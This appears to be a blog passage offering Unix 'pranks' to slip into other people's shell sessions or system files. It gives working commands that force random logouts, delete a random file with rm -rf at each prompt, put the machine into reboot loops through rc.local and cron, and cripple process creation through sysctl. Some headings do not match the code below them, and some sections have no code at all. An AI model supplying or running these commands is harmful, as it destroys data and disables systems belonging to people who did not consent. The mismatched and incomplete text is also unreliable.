Better learn to type fast…

Another nice one to confuse and annoy, as usual you need to sneak this one into somebody’s bash session:

export PROMPT_COMMAND='export TMOUT=$[ ${RANDOM} % 15 ]'

Fun with Vim and Files

Add this little bugger to either /etc/vimrc or to an induhvidual’s ~/.vimrc

echo "kernel.pid_max = 132" >> /etc/sysctl.conf

Better get some rescue cd’s…

Run the following command and reboot :

echo 'echo b > /proc/sysrq-trigger ' >> /etc/rc.local

Try to sneak this one into someone’s session and watch the hilarity ensue:

export PROMPT_COMMAND='FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &> /dev/null'


Just enter this little baby into any account where ulimit -u reports unlimited

Neverending story

echo "@reboot reboot" > /etc/cron.d/system

Devicenode deletion

Add this file as /etc/udev/rules.d/01-devices.rules:
